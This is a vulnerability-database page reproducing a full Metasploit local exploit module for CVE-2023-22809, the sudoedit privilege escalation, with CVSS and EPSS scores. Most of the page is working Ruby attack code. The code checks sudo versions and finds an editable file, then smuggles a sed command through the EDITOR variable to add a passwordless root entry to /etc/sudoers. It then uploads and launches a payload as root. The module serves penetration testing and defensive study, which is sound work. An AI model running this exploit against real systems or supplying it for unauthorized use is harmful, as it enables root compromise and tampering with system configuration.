Lucene search

K
packetstormH00die, Matthieu Barjole, Victor Cutillas, metasploit.comPACKETSTORM:172509
HistoryMay 23, 2023 - 12:00 a.m.

Sudoedit Extra Arguments Privilege Escalation

2023-05-2300:00:00
h00die, Matthieu Barjole, Victor Cutillas, metasploit.com
packetstormsecurity.com
144

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

33.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sudoedit Extra Arguments Priv Esc',  
'Description' => %q{  
This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.  
The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided  
environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to  
append arbitrary entries to the list of files to process. This can lead to privilege escalation.  
by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root  
privileges.  
  
Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu  
22.04 and 22.10.  
  
This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and  
1.9.11p3-1ubuntu1 on Ubuntu 22.10.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Matthieu Barjole', # original PoC, analysis  
'Victor Cutillas' # original PoC, analysis  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [  
[ 'EDB', '51217' ],  
[ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ],  
[ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ],  
[ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ],  
[ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ],  
[ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ],  
[ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'],  
[ 'CVE', '2023-22809' ]  
],  
'DisclosureDate' => '2023-01-18',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]),  
OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]),  
OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]),  
]  
end  
  
def timeout  
datastore['TIMEOUT']  
end  
  
# Simplify pulling the writable directory variable  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def get_editable_file  
if datastore['EDITABLEFILE'].present?  
fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE'])  
  
vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}")  
return datastore['EDITABLEFILE']  
end  
  
# we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to  
# be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut  
editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\\(root\\)|\\(ALL\\)|\\(ALL : ALL\\)\' | rev | cut -d " " -f 1 | rev')  
editable_file = editable_file.strip  
if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for')  
return nil  
end  
  
return nil unless file?(editable_file)  
  
editable_file  
end  
  
def get_sudo_version_from_sudo  
package = cmd_exec('sudo --version')  
package = package.split(' ')[2] # Sudo version XXX  
begin  
Rex::Version.new(package)  
rescue ArgumentError  
# this happens on systems like debian 8.7.1 which doesn't have sudo  
Rex::Version.new(0)  
end  
end  
  
def check  
sys_info = get_sysinfo  
  
# Check the app is installed and the version  
if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian'  
package = cmd_exec('dpkg -l sudo | grep \'^ii\'')  
package = package.split(' ')[2] # ii, package name, version, arch  
begin  
ver_no = Rex::Version.new(package)  
rescue ArgumentError  
ver_no = get_sudo_version_from_sudo  
end  
else  
ver_no = get_sudo_version_from_sudo  
end  
  
# according to CVE listing, but so much backporting...  
minimal_version = '1.8.0'  
maximum_version = '1.9.12p1'  
exploitable = false  
  
# backporting... so annoying.  
# https://ubuntu.com/security/CVE-2023-22809  
if sys_info[:distro] == 'ubuntu'  
if sys_info[:version].include? '22.10' # kinetic  
exploitable = true  
maximum_version = '1.9.11p3-1ubuntu1.1'  
elsif sys_info[:version].include? '22.04' # jammy  
exploitable = true  
maximum_version = '1.9.9-1ubuntu2.2'  
elsif sys_info[:version].include? '20.04' # focal  
maximum_version = '1.8.31-1ubuntu1.4'  
elsif sys_info[:version].include? '18.04' # bionic  
maximum_version = '1.8.21p2-3ubuntu1.5'  
elsif sys_info[:version].include? '16.04' # xenial  
maximum_version = '1.8.16-0ubuntu1.10+esm1'  
elsif sys_info[:version].include? '14.04' # trusty  
maximum_version = '1.8.9p5-1ubuntu1.5+esm7'  
end  
end  
  
if ver_no == Rex::Version.new(0)  
return Exploit::CheckCode::Unknown('Unable to detect sudo version')  
end  
  
if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version)  
vprint_good("sudo version #{ver_no} is vulnerable")  
# check if theres an entry in /etc/sudoers that allows us to edit a file  
editable_file = get_editable_file  
if editable_file.nil?  
if exploitable  
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")  
else  
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module")  
end  
elsif exploitable  
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}")  
else  
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module")  
end  
end  
  
CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable")  
end  
  
def exploit  
# Check if we're already root  
if !datastore['ForceExploit'] && is_root?  
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
if get_editable_file.nil?  
fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required'  
end  
  
# Make sure we can write our exploit and payload to the local system  
unless writable?(base_dir) && directory?(base_dir)  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
sys_info = get_sysinfo  
  
# Check the app is installed and the version  
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu'  
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10')  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
register_file_for_cleanup(payload_path)  
  
@flag = Rex::Text.rand_text_alphanumeric(12)  
print_status 'Adding user to sudoers'  
# we tack on a flag so we can easily grep for this line and clean it up later  
command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}"  
vprint_status("Executing command: #{command}")  
  
output = cmd_exec command, nil, timeout  
if output.include? '/etc/sudoers unchanged'  
fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful')  
end  
  
if output.include? 'sudo: ignoring editor'  
fail_with(Failure::NotVulnerable, 'sudo is patched')  
end  
  
output.each_line { |line| vprint_status line.chomp }  
print_status('Spawning payload')  
  
# -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell  
# also, attempting to thread off of sudo was problematic, solution was  
# https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh  
# other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t  
output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout  
output.each_line { |line| vprint_status line.chomp }  
end  
  
def on_new_session(session)  
if @flag  
session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers")  
flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers")  
if flag_found.include? @flag  
print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers")  
end  
end  
super  
end  
end  
`

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

33.6%